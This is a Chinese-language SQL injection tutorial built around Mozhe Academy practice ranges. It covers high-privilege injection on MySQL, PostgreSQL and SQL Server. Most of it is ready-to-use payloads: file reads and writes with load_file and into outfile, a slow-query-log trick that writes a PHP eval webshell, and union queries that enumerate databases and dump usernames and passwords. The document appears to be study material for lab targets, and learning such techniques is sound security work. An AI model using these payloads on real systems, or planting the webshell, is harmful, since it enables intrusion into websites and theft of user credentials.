目录
案例:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
前言
Access无高权限注入点,只能猜解,还是暴力猜解
MYSQL,PostgreSQL,SqlServer高权限注入点可以升级读写执行等,高权限注入可以通过写入后门或者读取相关配置文件获取当前网站的相关权限,不需要通过一步一步猜解数据,当然这只是里理论,在实际环境中,可能会因为数据库的某些设置或者防护导致无法读写注入,如果能绕过当然是最好的,如果不能绕过那么我们只能乖乖的一步一步猜解
MYSQL-root高权限读写注入
读取文件:
union select load_file('读取路径'),2,3
写入文件:
union select '写入信息',2,3 into outfile '写入路径'
路径获取:phpinfo,报错,字典等
无法写入:secure_file_priv突破 //限制读写路径 注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连接上对方数据库进行绕过
set global slow_query_log=1
set global slow_query_log_file='shell路径'
select '<? php eval($_GET[A] ?>' or SLEEP(11);
关于文件读取和写入请参考这篇文章:http://www.taodudu.cc/news/show-4259716.html?action=onClick
PostgreSQL-高权限读写注入
PostgreSQL的注入和MYSQL注入语句写法有些不一样,这里通过墨者学院在线靶场进行演示说明,靶场通往入口:https://www.mozhe.cn/bug/detail/86
测列数:
order by 4
测显位:
and 1=2 union select 'null',null,null,null //错误
and 1=2 union select null,'null',null,null //正常
and 1=2 union select null,null,'null',null //正常
and 1=2 union select null,null,null,'null' //错误
通过测试我们发现2,3位有显示
获取信息:
and 1=2 union select null,version(),null,null //获取版本
and 1=2 union select null,current_user,null,null //获取当前用户
and 1=2 union select null,current_database(),null,null //获取当前数据库名
获取数据库名:
and 1=2 union select null,string_agg(datname,',') ,null,null from pg_database
获取表名:
and 1=2 union select null,string_agg(tablename,',') ,null,null from pg_tables where schemaname='public'
获取列名:
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'
获取数据:
and 1=2 union select null,string_agg(name,',') ,string_agg(password,','),null from reg_users
判断是否高权限:获取dba用户(同样在DBA用户下,是可以进行文件读写的)
and 1=2 union select null,string_agg(username,','),null,null from pg_user where useruper is true
查看是否和当前用户一致,如果是,说明当前用户是管理员用户,相当于MYSQL数据库的root用户
关于PostgreSQL数据库文件读写注入这里就不说明了,请参考 :https://www.freebuf.com/articles/web
SqlServer-Sa高权限读写注入
案例:https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
测列数:
order by 4
and 1=2 union all select null,null,null,null
测显位:
and 1=2 union all select null,'null',null,null
and 1=2 union all select null,null,'null',null
获取信息:
@@version:获取版本信息
db_name():获取当前数据库名字
user,system_user,current_user,user _name:获取当前用户名
@@SERVERNAME获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
获取表名;
and 1=2 union all select null,(select top 1 name from moze_db_v2.dbo.sysobjects where xtype='u'),null,null
and 1=2 union all select null,(select top 1 name from moze_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null
获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
获取数据:
and 1=2 union all select null,username,password,null from manage